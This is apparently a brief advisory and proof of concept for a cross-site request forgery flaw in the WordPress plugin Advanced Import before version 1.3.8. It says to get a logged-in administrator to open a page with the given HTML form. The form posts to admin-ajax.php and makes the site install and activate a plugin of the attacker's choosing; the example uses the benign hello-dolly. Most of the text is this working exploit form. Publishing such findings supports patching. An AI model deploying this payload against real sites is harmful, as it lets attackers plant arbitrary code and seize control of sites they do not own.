Advanced Import < 1.3.8 - Arbitrary Plugin Installation & Activation via CSRF

Make a logged in admin open a page containing the HTML code below

<form action="https://example.com/wp-admin/admin-ajax.php?action=install_plugin" method="POST">
    <input type="text" name="slug" value="hello-dolly">
    <input type="text" name="plugin" value="hello-dolly/hello.php">
    <input type="submit" name="submit" value="submit">
</form>